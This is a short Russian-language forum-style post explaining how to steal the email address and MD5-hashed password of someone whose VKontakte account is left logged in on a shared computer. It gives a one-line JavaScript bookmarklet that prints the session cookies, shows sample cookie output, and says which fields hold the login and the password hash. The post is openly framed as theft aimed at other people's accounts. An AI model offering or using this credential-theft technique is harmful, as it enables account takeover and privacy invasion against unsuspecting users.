Мы хотим рассказать вам как находясь у кого-то в гостях или кто-то был у вас и сидел в vkontakte.ru стырить email и захешированный пароль. Тоесть если вы заходите в контакт, а там уже авторизирована чья-то анкета, то без особых знаний и усилий легко узнать мыло и захешированный пароль. Идея состоит в том, что когда человек авторизируется в контакте на его комп записуется в cookie-файл данные для поддержки сеанса юзера(в том числе логин и захешированный пароль). Чтобы посмотреть их необходимо в адресную строку браузера вставить простой javascript-код... [center] javascript:document.write(document.cookie)[/center] <br><br>После чего нажать enter. Браузер выведет примерно такую информацию:emixlang=0; remixchk=5; remixautobookmark=26; remixclosed_tabs=0; lang=0; remixmid=1234567; remixemail=example%mail.ru; remixpass=202cb962ac59075b964b07152d234b70; remixsid=37735c8cc21a992aba688ce1c3a36b397a376b1df46594483a8acff7; remixgroup_closed_tabs=0<br> remixemail=example%40mail.ru - email аккаунта example@mail.ru remixpass=202cb962ac59075b964b07152d234b70 - захешированный алгоритмом md5 пароль 202cb962ac59075b964b07152d234b70 к аккаунту.
|